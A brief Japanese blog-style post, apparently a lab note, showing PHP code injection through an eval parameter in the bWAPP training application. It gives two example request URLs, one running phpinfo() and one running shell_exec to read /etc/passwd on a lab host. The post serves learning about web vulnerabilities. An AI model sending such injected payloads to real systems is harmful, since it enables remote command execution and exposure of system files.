Hello there, ('ω')ノ
こちらのメニューもやっていなかったので。
eval関数は、引数の文字列をPHPコードとして実行するので。
例えば、下記のサイトを参考にして。
https://www.exploit-db.com/papers/13694
下記のように引数を渡すと。
http://10.4.128.57/bWAPP/php_eval.php?eval=phpinfo();
さらには、下記のような引数でも。
http://10.4.128.57/bWAPP/php_eval.php?eval=echo%20shell_exec(%22cat%20/etc/passwd%22);
Best regards, (^^ゞ
